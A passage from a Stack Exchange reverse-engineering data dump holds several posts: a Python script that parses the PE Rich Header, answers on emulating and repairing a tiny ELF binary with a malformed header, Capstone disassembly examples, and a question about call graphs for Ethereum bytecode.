115: &quot;Utc1400_POGO_I_C&quot;,&#xA;  116: &quot;Utc1400_POGO_I_CPP&quot;,&#xA;  117: &quot;Utc1400_POGO_O_C&quot;,&#xA;  118: &quot;Utc1400_POGO_O_CPP&quot;,&#xA;  119: &quot;Cvtpgd1400&quot;,&#xA;  120: &quot;Linker800&quot;,&#xA;  121: &quot;Cvtomf800&quot;,&#xA;  122: &quot;Export800&quot;,&#xA;  123: &quot;Implib800&quot;,&#xA;  124: &quot;Cvtres800&quot;,&#xA;  125: &quot;Masm800&quot;,&#xA;  126: &quot;AliasObj800&quot;,&#xA;  127: &quot;PhoenixPrerelease&quot;,&#xA;  128: &quot;Utc1400_CVTCIL_C&quot;,&#xA;  129: &quot;Utc1400_CVTCIL_CPP&quot;,&#xA;  130: &quot;Utc1400_LTCG_MSIL&quot;,&#xA;  131: &quot;Utc1500_C&quot;,&#xA;  132: &quot;Utc1500_CPP&quot;,&#xA;  133: &quot;Utc1500_C_Std&quot;,&#xA;  134: &quot;Utc1500_CPP_Std&quot;,&#xA;  135: &quot;Utc1500_CVTCIL_C&quot;,&#xA;  136: &quot;Utc1500_CVTCIL_CPP&quot;,&#xA;  137: &quot;Utc1500_LTCG_C&quot;,&#xA;  138: &quot;Utc1500_LTCG_CPP&quot;,&#xA;  139: &quot;Utc1500_LTCG_MSIL&quot;,&#xA;  140: &quot;Utc1500_POGO_I_C&quot;,&#xA;  141: &quot;Utc1500_POGO_I_CPP&quot;,&#xA;  142: &quot;Utc1500_POGO_O_C&quot;,&#xA;  143: &quot;Utc1500_POGO_O_CPP&quot;,&#xA;&#xA;  144: &quot;Cvtpgd1500&quot;,&#xA;  145: &quot;Linker900&quot;,&#xA;  146: &quot;Export900&quot;,&#xA;  147: &quot;Implib900&quot;,&#xA;  148: &quot;Cvtres900&quot;,&#xA;  149: &quot;Masm900&quot;,&#xA;  150: &quot;AliasObj900&quot;,&#xA;  151: &quot;Resource900&quot;,&#xA;&#xA;  152: &quot;AliasObj1000&quot;,&#xA;  154: &quot;Cvtres1000&quot;,&#xA;  155: &quot;Export1000&quot;,&#xA;  156: &quot;Implib1000&quot;,&#xA;  157: &quot;Linker1000&quot;,&#xA;  158: &quot;Masm1000&quot;,&#xA;&#xA;  170: &quot;Utc1600_C&quot;,&#xA;  171: &quot;Utc1600_CPP&quot;,&#xA;  172: &quot;Utc1600_CVTCIL_C&quot;,&#xA;  173: &quot;Utc1600_CVTCIL_CPP&quot;,&#xA;  174: &quot;Utc1600_LTCG_C &quot;,&#xA;  175: &quot;Utc1600_LTCG_CPP&quot;,&#xA;  176: &quot;Utc1600_LTCG_MSIL&quot;,&#xA;  177: &quot;Utc1600_POGO_I_C&quot;,&#xA;  178: &quot;Utc1600_POGO_I_CPP&quot;,&#xA;  179: &quot;Utc1600_POGO_O_C&quot;,&#xA;  180: &quot;Utc1600_POGO_O_CPP&quot;,&#xA;&#xA;  # vvv&#xA;  183: &quot;Linker1010&quot;,&#xA;  184: &quot;Export1010&quot;,&#xA;  185: &quot;Implib1010&quot;,&#xA;  186: &quot;Cvtres1010&quot;,&#xA;  187: &quot;Masm1010&quot;,&#xA;  188: &quot;AliasObj1010&quot;,&#xA;  # ^^^&#xA;&#xA;  199: &quot;AliasObj1100&quot;,&#xA;  201: &quot;Cvtres1100&quot;,&#xA;  202: &quot;Export1100&quot;,&#xA;  203: &quot;Implib1100&quot;,&#xA;  204: &quot;Linker1100&quot;,&#xA;  205: &quot;Masm1100&quot;,&#xA;&#xA;  206: &quot;Utc1700_C&quot;,&#xA;  207: &quot;Utc1700_CPP&quot;,&#xA;  208: &quot;Utc1700_CVTCIL_C&quot;,&#xA;  209: &quot;Utc1700_CVTCIL_CPP&quot;,&#xA;  210: &quot;Utc1700_LTCG_C &quot;,&#xA;  211: &quot;Utc1700_LTCG_CPP&quot;,&#xA;  212: &quot;Utc1700_LTCG_MSIL&quot;,&#xA;  213: &quot;Utc1700_POGO_I_C&quot;,&#xA;  214: &quot;Utc1700_POGO_I_CPP&quot;,&#xA;  215: &quot;Utc1700_POGO_O_C&quot;,&#xA;  216: &quot;Utc1700_POGO_O_CPP&quot;,&#xA;}&#xA;&#xA;##&#xA;# A convenient exception to raise if the Rich Header doesn't exist.&#xA;class RichHeaderNotFoundException(Exception):&#xA;    def __init__(self):&#xA;        Exception.__init__(self, &quot;Rich footer does not appear to exist&quot;)&#xA;&#xA;##&#xA;# Locate the body of the data that contains the rich header This will be&#xA;# (roughly) between 0x3c and the beginning of the PE header, but the entire&#xA;# thing up to the last checksum will be needed in order to verify the header.&#xA;def get_file_header(file_name):&#xA;    f = open(file_name,'rb')&#xA;&#xA;    #start with 0x3c&#xA;    f.seek(PE_START)&#xA;    data = f.read(PE_FIELD_LENGTH)&#xA;&#xA;    if data == '': #File is empty, bail&#xA;        raise RichHeaderNotFoundException()&#xA;    end = struct.unpack('&amp;lt;L',data)[0] # get the value at 0x3c&#xA;&#xA;    f.seek(0)&#xA;    data = f.read( end ) # read until that value is reached&#xA;    f.close()&#xA;&#xA;    return data&#xA;&#xA;##&#xA;# This class assists in parsing the Rich Header from PE Files.&#xA;# The Rich Header is the section in the PE file following the dos stub but&#xA;# preceding the lfa_new header which is inserted by link.exe when building with&#xA;# the Microsoft Compilers.  The Rich Heder contains the following:&#xA;# &amp;lt;pre&amp;gt;&#xA;# marker, checksum, checksum, checksum, &#xA;# R_compid_i, R_occurrence_i, &#xA;# R_compid_i+1, R_occurrence_i+1, ...  &#xA;# R_compid_N-1, R_occurrence_N-1, Rich, marker&#xA;#&#xA;# marker = checksum XOR 0x536e6144&#xA;# R_compid_i is the ith compid XORed with the checksum&#xA;# R_occurrence_i is the ith occurrence  XORed with the checksum&#xA;# Rich = the text string 'Rich'&#xA;# The checksum is the sum of all the PE Header values rotated by their&#xA;# offset and the sum of all compids rotated by their occurrence counts.  &#xA;# &amp;lt;/pre&amp;gt;&#xA;# @see _validate_checksum code for checksum calculation&#xA;class ParsedRichHeader:&#xA;    ##&#xA;    # Creates a ParsedRichHeader from the specified PE File.&#xA;    # @throws RichHeaderNotFoundException if the file does not contain a rich header&#xA;    # @param file_name The PE File to be parsed&#xA;    def __init__(self, file_name):&#xA;        ## The file that was parsed&#xA;        self.file_name = file_name&#xA;        self._parse( file_name )&#xA;&#xA;    ##&#xA;    # Used internally to parse the PE File and extract Rich Header data.&#xA;    # Initializes self.compids and self.valid_checksum. &#xA;    # @param file_name The PE File to be parsed&#xA;    # @throws RichHeaderNotFoundException if the file does not contain a rich header&#xA;    def _parse(self,file_name):&#xA;        #make sure there is a header:&#xA;        data = get_file_header( file_name )&#xA;&#xA;        compid_end_index = data.find(RICH_TEXT) &#xA;        if compid_end_index == -1:&#xA;            raise RichHeaderNotFoundException()&#xA;&#xA;        rich_offset = compid_end_index + RICH_TEXT_LENGTH&#xA;&#xA;        checksum_text = data[rich_offset:rich_offset+4] &#xA;        checksum_value = struct.unpack('&amp;lt;L', checksum_text)[0]&#xA;        #start marker denotes the beginning of the rich header&#xA;        start_marker = struct.pack('&amp;lt;LLLL',checksum_value ^ CHECKSUM_MASK, checksum_value, checksum_value, checksum_value )[0] &#xA;&#xA;        rich_header_start = data.find(start_marker)&#xA;        if rich_header_start == -1:&#xA;            raise RichHeaderNotFoundException()&#xA;&#xA;        compid_start_index = rich_header_start + 16 # move past the marker and 3 checksums&#xA;&#xA;        compids = dict()&#xA;        for i in range(compid_start_index, compid_end_index, 8):&#xA;            compid = struct.unpack('&amp;lt;L',data[i:i+4])[0] ^ checksum_value&#xA;            count = struct.unpack('&amp;lt;L',data[i+4:i+8])[0] ^ checksum_value&#xA;            compids[compid]=count&#xA;&#xA;        ## A dictionary of compids and their occurrence counts&#xA;        self.compids = compids&#xA;        ## A value for later reference to see if the checksum was valid&#xA;        self.valid_checksum = self._validate_checksum( data, rich_header_start, checksum_value )&#xA;&#xA;    ##&#xA;    # Compute the checksum value and see if it matches the checksum stored in&#xA;    # the Rich Header.&#xA;    # The checksum is the sum of all the PE Header values rotated by their&#xA;    # offset and the sum of all compids rotated by their occurrence counts&#xA;    # @param data A blob of binary data that corresponds to the PE Header data&#xA;    # @param rich_header_start The offset to marker, checksum, checksum, checksum&#xA;    # @returns True if the checksum is valid, false otherwise&#xA;    def _validate_checksum(self, data, rich_header_start, checksum):&#xA;&#xA;        #initialize the checksum offset at which the rich header is located&#xA;        cksum = rich_header_start&#xA;&#xA;        #add the value from the pe header after rotating the value by its offset in the pe header&#xA;        for i in range(0,rich_header_start):&#xA;            if PE_START &amp;lt;= i &amp;lt;= PE_START+PE_FIELD_LENGTH-1:&#xA;                continue&#xA;            temp = ord(data[i])&#xA;            cksum+= ((temp &amp;lt;&amp;lt; (i%32)) | (temp &amp;gt;&amp;gt; (32-(i%32))) &amp;amp; 0xff)&#xA;            cksum &amp;amp;=0xffffffff&#xA;&#xA;        #add each compid to the checksum after rotating it by its occurrence count&#xA;        for k in self.compids.keys():&#xA;            cksum += (k &amp;lt;&amp;lt; self.compids[k]%32 | k &amp;gt;&amp;gt; ( 32 - (self.compids[k]%32)))&#xA;            cksum &amp;amp;=0xffffffff&#xA;&#xA;        ## A convenient place for storing the checksum that was computing during checksum validation&#xA;        self.checksum = cksum&#xA;&#xA;        return cksum == checksum&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    ph = ParsedRichHeader(sys.argv[1])&#xA;    print (&quot;PRODID   name            build count&quot;)&#xA;    for key in ph.compids.keys():&#xA;        count = ph.compids[key]&#xA;        prodid, build = (key&amp;gt;&amp;gt;16), key&amp;amp;0xFFFF&#xA;        prodid_name = PRODID_MAP[prodid] if prodid in PRODID_MAP else &quot;&amp;lt;unknown&amp;gt;&quot;&#xA;        print ('%6d   %-15s %5d %5d' % (prodid, prodid_name, build, count))&#xA;    if ph.valid_checksum:&#xA;        print (&quot;Checksum valid&quot;)&#xA;    else:&#xA;        print(&quot;Checksum not valid!&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PRODID   name            build count&#xA;     1   Import0             0   165&#xA;   155   Export1000      40219     1&#xA;   149   Masm900         30729     2&#xA;   152   AliasObj1000    20115     1&#xA;   224   &amp;lt;unknown&amp;gt;       40629     6&#xA;   147   Implib900       30729    27&#xA;   157   Linker1000      40219     1&#xA;   175   Utc1600_LTCG_CPP 40219    26&#xA;   223   &amp;lt;unknown&amp;gt;       40629     1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info from &lt;a href=&quot;http://bytepointer.com/articles/the_microsoft_rich_header.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bytepointer.com/articles/the_microsoft_rich_header.htm&lt;/a&gt; (emphasis mine).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most of the entries above have an associated build number of the tool&#xA;  being represented, such as the compiler, assembler and linker. One&#xA;  exception to this is the imported functions count, which happens to be&#xA;  the total number of imported functions referenced in all DLLs. This is&#xA;  usually the only entry with a &lt;strong&gt;build number of zero&lt;/strong&gt;. Note that the&#xA;  &quot;Rich&quot; structure does not store information on the number of&#xA;  static/private functions within each OBJ/source file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-10-01T19:46:00.953" LastActivityDate="2019-10-01T19:46:00.953" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22223" PostTypeId="1" CreationDate="2019-10-01T16:40:18.200" Score="1" ViewCount="14484" Body="&lt;p&gt;What would be the best way (also fewer steps) to generate assembly code for a given hex code ? For e.g., if we know the architecture is x86, and given hex value 0x55, what is the best way to generate the disassembly using gcc, gdb, obdjump, or any other linux command line tools?&lt;/p&gt;&#xA;" OwnerUserId="29762" LastEditorUserId="29762" LastEditDate="2019-10-01T17:14:04.640" LastActivityDate="2021-08-28T20:05:28.370" Title="Use GCC and objdump to disassemble any hex to assembly code" Tags="|disassembly|gdb|objdump|gcc|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22224" PostTypeId="2" ParentId="15238" CreationDate="2019-10-01T16:58:37.000" Score="4" Body="&lt;p&gt;Several options are available for analyzing ELF binaries with damaged or corrupted headers. These include, but are not limited to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using a &lt;code&gt;ptrace&lt;/code&gt;-based debugger such as Radare2 (but definitely not gdb)&lt;/li&gt;&#xA;&lt;li&gt;Emulation e.g. via the &lt;a href=&quot;https://github.com/unicorn-engine/unicorn/blob/master/bindings/python/sample_x86.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicorn emulation framework&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Repairing the header, which may involve rebuilding the binary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This particular binary is a challenge for standard tools for a few reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The program header table overlaps the ELF header rather than lying outside of it.&lt;/li&gt;&#xA;&lt;li&gt;There are no sections, and the fields having to do with sections are overwritten by&#xA;the program header table and so - from the perspective of tools that parse section information - contain nonsense values. BFD-based tools such   as &lt;code&gt;objdump&lt;/code&gt; and GDB rely on section information being present and correct, so they will fail even if all of the other fields contain correct information.&lt;/li&gt;&#xA;&lt;li&gt;The entry point lies inside the ELF header, meaning there is executable code inside the header&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Using a ptrace-based debugger&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Radare2 is able to attach to the process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d tiny-i386 &#xA;Process with PID 6756 started...&#xA;= attach 6756 6756&#xA;bin.baddr 0x00010000&#xA;Using 0x10000&#xA;Warning: Cannot initialize program headers&#xA;Warning: Cannot initialize section headers&#xA;Warning: Cannot initialize strings table&#xA;Warning: Cannot initialize dynamic strings&#xA;Warning: Cannot initialize dynamic section&#xA;Warning: read (init_offset)&#xA;asm.bits 32&#xA;[0x00010020]&amp;gt; pd 5&#xA;            ;-- eip:&#xA;            0x00010020      b32a           mov bl, 0x2a                ; '*' ; 42&#xA;            0x00010022      31c0           xor eax, eax&#xA;            0x00010024      40             inc eax&#xA;            0x00010025      cd80           int 0x80&#xA;            0x00010027      003400         add byte [eax + eax], dh&#xA;[0x00010020]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For such a small program, something like r2 seems rather heavyweight. There are only 7 bytes of instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can also roll their own ptrace-based debugger. A good guide for this can be found&#xA;at &lt;a href=&quot;https://eli.thegreenplace.net/2011/01/23/how-debuggers-work-part-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;How debuggers work: Part 1 - Basics &lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Emulation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Emulation is easy in this case since the program is so simple. Emulation is a good solution for this kind of challenge since no information is needed besides the offsets of the first and last instructions. This information can be retrieved manually from a hex dump without needing to parse the header at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a script for emulating the binary in the question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;from unicorn import *&#xA;from unicorn.x86_const import *&#xA;from capstone import *&#xA;import struct&#xA;&#xA;&#xA;BASE = 0x100000&#xA;STACK_ADDR = 0x0&#xA;STACK_SIZE = 1024 * 1024&#xA;&#xA;def read(name):&#xA;   with open(name, 'rb') as f:&#xA;      return f.read()&#xA;&#xA;#https://github.com/unicorn-engine/unicorn/blob/master/bindings/python/shellcode.py&#xA;# callback for tracing instructions&#xA;def hook_code(uc, address, size, user_data):&#xA;    instruction = uc.mem_read(address, size)    # read this instruction code from memory&#xA;    md = user_data&#xA;    for i in md.disasm(instruction, address):&#xA;        print(&quot;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x%x, instruction size = 0x%x, disassembly:\t%s\t%s&quot; %(i.address, i.size, i.mnemonic, i.op_str))&#xA;&#xA;&#xA;# callback for tracing Linux interrupt&#xA;def hook_intr(uc, intno, user_data):&#xA;    # only handle syscall&#xA;    if intno != 0x80:&#xA;        print(&quot;got interrupt %x ???&quot; %intno);&#xA;        uc.emu_stop()&#xA;        return&#xA;&#xA;    eax = uc.reg_read(UC_X86_REG_EAX)&#xA;    eip = uc.reg_read(UC_X86_REG_EIP)&#xA;&#xA;    print(&quot;&amp;gt;&amp;gt;&amp;gt; 0x%x: INTERRUPT: 0x%x, EAX = 0x%x&quot; %(eip, intno, eax))&#xA;&#xA;    uc.emu_stop()&#xA;&#xA;&#xA;&#xA;def main():&#xA;&#xA;    mu = Uc(UC_ARCH_X86, UC_MODE_32)    # initialize emulation engine class&#xA;    mu.mem_map(BASE, STACK_SIZE)    # allocate space at base address&#xA;    mu.mem_map(STACK_ADDR, STACK_SIZE)  # allocate space for stack&#xA;&#xA;    mu.mem_write(BASE, read(&quot;./tiny_binaries/tiny-i386&quot;))   # write file to memory&#xA;    mu.reg_write(UC_X86_REG_ESP, STACK_ADDR + STACK_SIZE - 1)   # initialize stack&#xA;&#xA;    md = Cs(CS_ARCH_X86, CS_MODE_32)    # initialize disassembler engine class&#xA;&#xA;    # add hooks&#xA;    mu.hook_add(UC_HOOK_CODE, hook_code, md)    # pass disassembler engine to hook&#xA;    mu.hook_add(UC_HOOK_INTR, hook_intr)&#xA;&#xA;    mu.emu_start(BASE + 0x20, BASE + 0x27)&#xA;&#xA;    print(&quot;&amp;gt;&amp;gt;&amp;gt; Emulation Complete.&quot;)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following output is produced by the emulated execution of the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./emulate_tiny-i386.py &#xA;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x100020, instruction size = 0x2, disassembly:   mov bl, 0x2a&#xA;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x100022, instruction size = 0x2, disassembly:   xor eax, eax&#xA;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x100024, instruction size = 0x1, disassembly:   inc eax&#xA;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x100025, instruction size = 0x2, disassembly:   int 0x80&#xA;&amp;gt;&amp;gt;&amp;gt; 0x100025: INTERRUPT: 0x80, EAX = 0x1&#xA;&amp;gt;&amp;gt;&amp;gt; Emulation Complete.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A full write-up can be found here: &lt;a href=&quot;https://binaryresearch.github.io/2019/09/17/Analyzing-ELF-Binaries-with-Malformed-Headers-Part-1-Emulating-Tiny-Programs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Analyzing ELF Binaries with Malformed Headers Part 1 - Emulating Tiny Programs&lt;/a&gt;. Full disclosure: I'm the author of the article.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Repairing the Header&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since the entirety of the program is contained within the header, repairing it means rebuilding the binary. The program header table must be separated from the ELF header, the code then must be appended to the end of the program header table, and finally the entry point must be recalculate to point to the new offset of the first instruction in the binary. In this particular case, this can be done relatively straightforwardly using a tool called &lt;code&gt;lepton&lt;/code&gt; (I am the developer). Here is the script to accomplish rebuilding the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;from lepton import *&#xA;&#xA;def main():&#xA;    # create new headers&#xA;    with open(&quot;tiny-i386&quot;, &quot;rb&quot;) as f:&#xA;        elf_file = ELFFile(f, new_header=True)&#xA;&#xA;    # recompose binary&#xA;    with open(&quot;repaired_tiny-i386&quot;, &quot;wb&quot;) as f:&#xA;        f.write(elf_file.recompose_binary())    # this moves the program header out of the file&#xA;                                                # header and recalculates the entry point&#xA;    print(&quot;\n\tRepaired header field values:\n&quot;)&#xA;    elf_file.ELF_header.print_fields()          # call once entry point has been recalculated&#xA;&#xA;&#xA;if __name__==&quot;__main__&quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After being rebuilt, &lt;code&gt;readelf&lt;/code&gt; can successfully parse the new binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h repaired_tiny-i386 &#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x10054&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          0 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         1&#xA;  Size of section headers:           0 (bytes)&#xA;  Number of section headers:         0&#xA;  Section header string table index: 0&#xA;&#xA;$ readelf -l repaired_tiny-i386 &#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x10054&#xA;There is 1 program header, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  LOAD           0x000000 0x00010000 0x00030002 0x10020 0x10020 R   0xc0312ab3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The runtime behavior of the new file is identical to the original:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strace ./repaired_tiny-i386 &#xA;execve(&quot;./repaired_tiny-i386&quot;, [&quot;./repaired_tiny-i386&quot;], 0x7ffd19a0f1b0 /* 52 vars */) = 0&#xA;strace: [ Process PID=5822 runs in 32 bit mode. ]&#xA;exit(42)                                = ?&#xA;+++ exited with 42 +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More details, information and examples can be found in the &lt;a href=&quot;https://github.com/BinaryResearch/lepton&quot; rel=&quot;nofollow noreferrer&quot;&gt;description of the &lt;code&gt;lepton&lt;/code&gt; repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In general, if the binary executes, it should be possible to attach &lt;code&gt;ptrace&lt;/code&gt;. GDB, however, is very brittle and is easy to render useless. Emulation seems to be the most robust solution, since parsing the ELF header is largely unecessary and one can hook any instruction executed (total control, essentially). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a final note, a detailed presentation of how the kernel loads ELF programs can be found in the LWN article &lt;a href=&quot;https://lwn.net/Articles/631631/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How programs get run: ELF binaries&lt;/a&gt;. Included in the discussion are links to relevant code in the kernel.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-10-01T16:58:37.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22225" PostTypeId="2" ParentId="22223" CreationDate="2019-10-01T18:06:41.667" Score="3" Body="&lt;p&gt;Linux binutils tools, such as &lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;gdb&lt;/code&gt; etc. rely on the &lt;a href=&quot;https://sourceware.org/binutils/docs-2.32/bfd/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BFD library&lt;/a&gt;, meaning they take well-formed ELF files, not arbitrary byte values or ASCII hex strings, as input. If you want to create your own &lt;code&gt;libopcodes&lt;/code&gt;-based disassembler that does this, the following article will help you get started: &lt;a href=&quot;https://blog.yossarian.net/2019/05/18/Basic-disassembly-with-libopcodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic disassembly with libopcodes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;GCC is a compiler toolchain, which performs preprocessing of the source file, translates source code to assembly, translates that to machine code, and then performs relocation via the link-editor, producing an ELF binary. It sounds like you are interested in going the other way, that is, disassembling object (binary) code. Therefore GCC is not relevant here.&lt;/p&gt;&#xA;&lt;p&gt;If you want to disassemble individual bytes, you can use the &lt;a href=&quot;https://github.com/aquynh/capstone/tree/master/bindings/python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone disassembly framework's Python bindings&lt;/a&gt; to write scripts that disassemble the byte values that you specify. Here is an example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;from capstone import *&#xA;&#xA;CODE = b&amp;quot;\x55&amp;quot;&#xA;&#xA;md = md = Cs(CS_ARCH_X86, CS_MODE_32)&#xA;for i in md.disasm(CODE, 0x1000):&#xA;    print(&amp;quot;0x%x:\t%s\t%s&amp;quot; %(i.address, i.mnemonic, i.op_str))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The output is &lt;code&gt;0x1000:  push    ebp&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;When we consult the &lt;a href=&quot;http://ref.x86asm.net/coder32.html#x50&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86 opcode table&lt;/a&gt;, we see that a value of 0x50 + the register = &lt;code&gt;Push Word, Doubleword or Quadword Onto the Stack&lt;/code&gt;. So if we change &lt;code&gt;0x55&lt;/code&gt; to &lt;code&gt;0x54&lt;/code&gt; the output becomes &lt;code&gt;0x1000:   push    esp&lt;/code&gt; - a different register is pushed. &lt;code&gt;0x50&lt;/code&gt; = &lt;code&gt;push    eax&lt;/code&gt;. And so forth.&lt;/p&gt;&#xA;&lt;p&gt;Here is a modified version of the above script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;from capstone import *&#xA;&#xA;CODE = b&amp;quot;\x50\x51\x52\x53\x54\x55\x56\x57&amp;quot;&#xA;&#xA;md = md = Cs(CS_ARCH_X86, CS_MODE_32)&#xA;for i in md.disasm(CODE, 0x1000):&#xA;    print(&amp;quot;0x%x:\t%s\t%s&amp;quot; %(i.address, i.mnemonic, i.op_str))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This prints&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x1000: push    eax&#xA;0x1001: push    ecx&#xA;0x1002: push    edx&#xA;0x1003: push    ebx&#xA;0x1004: push    esp&#xA;0x1005: push    ebp&#xA;0x1006: push    esi&#xA;0x1007: push    edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2021-08-28T20:05:28.370" LastActivityDate="2021-08-28T20:05:28.370" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22226" PostTypeId="1" CreationDate="2019-10-01T18:15:24.317" Score="1" ViewCount="49" Body="&lt;p&gt;The Ethereum Virtual Machine uses a Virtual Instruction Set flavored for transaction processing that doesn’t use any registers and where all opcodes are a single byte long and have a single ABI for all the programming languages used (&lt;a href=&quot;https://ethervm.io/#opcodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ethervm.io/#opcodes&lt;/a&gt; similar to the Java Virtual Machine from Oracle).&lt;br&gt;&#xA;There’s no executable format being used as everything runs at bare metal. The primary programming languages for the platform doesn’t even provide a standard library (but only keywords which translate into high level opcodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Despite Ethereum being the second most valued cryptocurrency for years,&lt;/strong&gt; I was unable to find a tool able to draw call graphs for that architecture or rather, I did find one which only treats jumps from addresses if written on the stack through &lt;code&gt;PUSH&lt;/code&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a tool fully supporting the Ethereum Virtual Machine’s bytecode (not half) for drawing call graphs or &lt;a href=&quot;http://ytrezq.sdfeu.org/Uniswap.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;which instruction at which address calls the address &lt;code&gt;0x1a95&lt;/code&gt; or the address &lt;code&gt;0x204a&lt;/code&gt; in this program&lt;/a&gt; (the blocks are at the top right bottom)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full bytecode without any attempt to format it into blocks is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[encoded data, 24882 characters]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both a fully working tool (unlike the current one) for the problem or the answer to it can be the answer.&lt;/p&gt;&#xA;" OwnerUserId="17379" LastEditorUserId="17379" LastEditDate="2019-10-02T15:47:39.923" LastActivityDate="2019-10-02T15:47:39.923" Title="Which instruction at which address calls the address 0x1a95 or the address 0x204a in the following program or rather smart contract?" Tags="|disassembly|disassemblers|byte-code|control-flow-graph|call-graph|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
